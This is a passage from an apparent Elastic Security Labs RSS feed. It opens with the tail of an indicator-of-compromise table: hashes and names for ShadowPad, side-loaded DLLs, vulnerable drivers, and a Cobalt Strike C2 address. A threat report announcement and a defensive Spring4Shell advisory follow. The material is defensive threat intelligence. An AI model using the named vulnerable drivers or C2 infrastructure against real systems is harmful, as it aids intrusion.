<td>4b7d244883c762c52a0632b186562ece7324881a8e593418262243a5d86a274d</td>
<td>SHA-256</td>
<td>iisrehv.dll</td>
<td>SessionManager</td>
</tr>
<tr>
<td>54f969ce5c4be11df293db600df57debcb0bf27ecad38ba60d0e44d4439c39b6</td>
<td>SHA-256</td>
<td>kk2.exe</td>
<td>mhyprot.sys loader</td>
</tr>
<tr>
<td>509628b6d16d2428031311d7bd2add8d5f5160e9ecc0cd909f1e82bbbb3234d6</td>
<td>SHA-256</td>
<td>mhyprot.sys</td>
<td>vulnerable driver</td>
</tr>
<tr>
<td>386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd</td>
<td>SHA-256</td>
<td>13802 AR.exeBDReinit.exe</td>
<td>vulnerable Bitdefender Crash Handler</td>
</tr>
<tr>
<td>452b08d6d2aa673fb6ccc4af6cebdcb12b5df8722f4d70d1c3491479e7b39c05</td>
<td>SHA-256</td>
<td>log.dll</td>
<td>SHADOWPAD</td>
</tr>
<tr>
<td>5be0045a2c86c38714ada4084080210ced8bc5b6865aef1cca658b263ff696dc</td>
<td>SHA-256</td>
<td>APerfectDayBase.dll</td>
<td>malicious DLL injected into vulnerable binaries</td>
</tr>
<tr>
<td>3f5377590689bd19c8dd0a9d46f30856c90d4ee1c03a68385973188b44cc9ab7</td>
<td>SHA-256</td>
<td>AlarmClock.exe</td>
<td>benign, but targeted for side-loading APerfectDayBase.dll</td>
</tr>
<tr>
<td>f2a9ee6dd4d1ceb4d97138755c919549549311c06859f236fc8655cf38fe5653</td>
<td>SHA-256</td>
<td>Loader.any</td>
<td>currently unknown DLL</td>
</tr>
<tr>
<td>3b41c46824b78263d11b1c8d39cfe8c0e140f27c20612d954b133ffb110d206a</td>
<td>SHA-256</td>
<td>Loader.any</td>
<td>currently unknown DLL</td>
</tr>
<tr>
<td>9b66cd1a80727882cfa1303ada37019086c882c9543b3f957ee3906440dc8276</td>
<td>SHA-256</td>
<td>Class1.exe</td>
<td>currently unknown file</td>
</tr>
<tr>
<td>185.239.70.229</td>
<td>ipv4</td>
<td>na</td>
<td>Cobalt Strike C2</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/photo-edited09.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[2022 Elastic Global Threat Report Announcement]]></title>
            <link>https://www.elastic.co/cn/security-labs/2022-elastic-global-threat-report-announcement</link>
            <guid>2022-elastic-global-threat-report-announcement</guid>
            <pubDate>Wed, 30 Nov 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Discover our latest findings & strategic recommendations to better stay informed of potential directions threat actors may focus on.]]></description>
            <content:encoded><![CDATA[<p>Today Elastic Security Labs celebrates another milestone: launching the <a href="https://www.elastic.co/cn/explore/security-without-limits/global-threat-report">2022 Elastic Global Threat Report</a>, our inaugural summary of threat trends, forecasts, and recommendations. We analyzed millions of telemetry events from sources around the world to share these insights with you; all part of our continued commitment to transparency, and our mission to protect the world's data.</p>
<p>You can find the report <a href="https://www.elastic.co/cn/explore/security-without-limits/global-threat-report">here</a>, we're excited to share it with you.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/cn/security-labs/assets/images/2022-elastic-global-threat-report-announcement/gtr-blog-image-720x420.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic's response to the Spring4Shell vulnerability (CVE-2022-22965)]]></title>
            <link>https://www.elastic.co/cn/security-labs/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965</link>
            <guid>elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965</guid>
            <pubDate>Tue, 22 Nov 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Provide executive-level details about CVE-2022-22965, a recently-disclosed remote code execution (RCE) vulnerability also known as “Spring4Shell”.]]></description>
            <content:encoded><![CDATA[<p>On March 29, 2022 a vulnerability in the <a href="https://spring.io/projects/spring-framework">Spring framework</a> was <a href="https://tanzu.vmware.com/security/cve-2022-22965">disclosed</a> to the public by VMware. This vulnerability had several prerequisites affecting impact:</p>
<ul>
<li>Spring framework versions 5.3.0-5.3.17, 5.2.0-5.2.19, potentially software versions prior to 5.2.x</li>
<li>An application running as a Spring MVX or WebFlux object</li>
<li>Apache Tomcat as the container for that application</li>
<li>The application packaged as a Web Application Resource (WAR)</li>
</ul>
<p>Specifically, this vulnerability targets the ClassLoader() class, though similar undiscovered vulnerabilities in other classes are likely. A URI parameter can be passed to Tomcat as part of a standard web request to exploit this vulnerability.</p>
<h2>What is the threat?</h2>
<p>CVE-2022-22965 is a vulnerability that may affect systems on which the Spring Framework has been installed, and which expose Spring MVC or WebFlux applications running on JDK 9 or later. The exploit associated with this vulnerability requires Apache Tomcat, and that applications are deployed as Web Application Resources (WARs) — but enterprises should consider that other methods of exploitation are also possible.</p>
<h2>What is the impact?</h2>
<p>If successfully exploited, the Spring4Shell vulnerability may permit an adversary to execute arbitrary code (including malware) in the context of the web server. Because specific software, versions, and configurations are required as prerequisites, enterprises should expect a less impact than a vulnerability like <a href="https://www.elastic.co/cn/blog/analysis-of-log4shell-cve-2021-45046">Log4Shell</a>. While Spring4Shell has more specific prerequisites to cause impact, Elastic Security still recommends <a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">following official guidance</a> regarding patching and upgrading.</p>
<h2>Leveraging Elastic for exploit detection</h2>
<p>Prebuilt protections that generically identify aspects of successful exploitation already exist in community-facing repositories:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/6bdfddac8edea5e327bf28aed7e6dc4a7f701dc6/rules/windows/persistence_webshell_detection.toml">Webshell Detection: Script Process Child of Common Web Processes</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/linux/persistence_shell_activity_by_web_server.toml">Potential Shell via Web Server</a></li>
</ul>
<p>Additionally, Elastic <a href="https://github.com/elastic/detection-rules">provides</a> dozens of rules for common and uncommon post-exploitation techniques, which may appear in later stages of an intrusion attempt.</p>
<h3>Artifacts</h3>
<p>Elastic’s community-facing <a href="https://github.com/elastic/detection-rules">detection-rules repository</a> contains two rules specific to webserver post-exploitation. Due to the unpredictable nature of vulnerabilities, any post-exploitation rules provided by Elastic may be helpful in detecting or understanding a Spring4Shell-related intrusion attempt. For enterprises seeking to better understand this vulnerability, consider <a href="https://sholzhauer.medium.com/spring4shell-detection-and-response-elastic-946ec4f59026">this</a> excellent overview by Elastic community member Stijn Holzhauer.</p>
<h2>Defensive recommendations</h2>
<p>Enterprises should follow guidance provided by Spring in their <a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">official disclosure announcement</a>, and seek to patch or upgrade the Spring framework. Additionally, for those who may not be able to address the vulnerability in Spring, a patch has also been released to close this vulnerability in Apache Tomcat (minimum versions 10.0.20, 9.0.62, 8.5.78). Further, it is possible to configure disallowedFields to neutralize vulnerabilities related to data binding abuses.</p>
<h2>References</h2>
<ul>
<li><a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">Spring Framework RCE, Early Announcement</a></li>
<li><a href="https://tanzu.vmware.com/security/cve-2022-22965">CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+</a></li>
<li><a href="https://sholzhauer.medium.com/spring4shell-detection-and-response-elastic-946ec4f59026">Using the Elastic stack to detect potential malicious requests and explore exposure to the RCE flaw in the Java Spring Framework.</a></li>
</ul>
<p><strong>Not already using Elastic Security? You can always get started with a <a href="https://cloud.elastic.co/registration">free 14-day trial</a> of Elastic Cloud.</strong></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/cn/security-labs/assets/images/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965/thumbnail-security-logos-lock.png" length="0" type="image/png"/>
        </item>
    </channel>
</rss>